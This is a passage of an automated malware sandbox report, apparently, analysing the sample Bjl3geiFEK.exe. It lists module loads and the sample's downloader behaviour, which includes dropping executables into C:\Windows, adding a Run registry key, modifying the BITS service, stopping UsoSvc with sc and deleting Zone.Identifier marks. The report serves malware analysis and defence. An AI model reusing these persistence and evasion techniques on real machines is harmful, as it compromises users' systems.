Source: C:\Windows\sysppvrdnvs.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: fwpolicyiomgr.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll Jump to behavior
Source: Bjl3geiFEK.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Bjl3geiFEK.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Bjl3geiFEK.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Bjl3geiFEK.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Bjl3geiFEK.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Bjl3geiFEK.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_004B10B0
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B1CB1 push ecx; ret 0_2_004B1CC4

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File created: C:\Users\user\AppData\Local\Temp\33080.scr Jump to dropped file
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Users\user\AppData\Local\Temp\33080.scr Executable created and started: C:\Windows\sysppvrdnvs.exe Jump to behavior
Contains functionality to download and launch executables
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_004B10B0
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\33080.scr File created: C:\Windows\sysppvrdnvs.exe Jump to dropped file
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe File created: C:\Users\user\AppData\Local\Temp\818921588.exe Jump to dropped file
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File created: C:\Users\user\AppData\Local\Temp\33080.scr Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Users\user\AppData\Local\Temp\33080.scr File created: C:\Windows\sysppvrdnvs.exe Jump to dropped file
Modifies existing windows services
Source: C:\Windows\sysppvrdnvs.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BITS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Users\user\AppData\Local\Temp\33080.scr File opened: C:\Users\user\AppData\Local\Temp\33080.scr:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe File opened: C:\Windows\sysppvrdnvs.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe File opened: C:\Users\user\AppData\Local\Temp\264162301.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe File opened: C:\Users\user\AppData\Local\Temp\229472814.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe File opened: C:\Users\user\AppData\Local\Temp\818921588.exe:Zone.Identifier read attributes | delete Jump to behavior
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
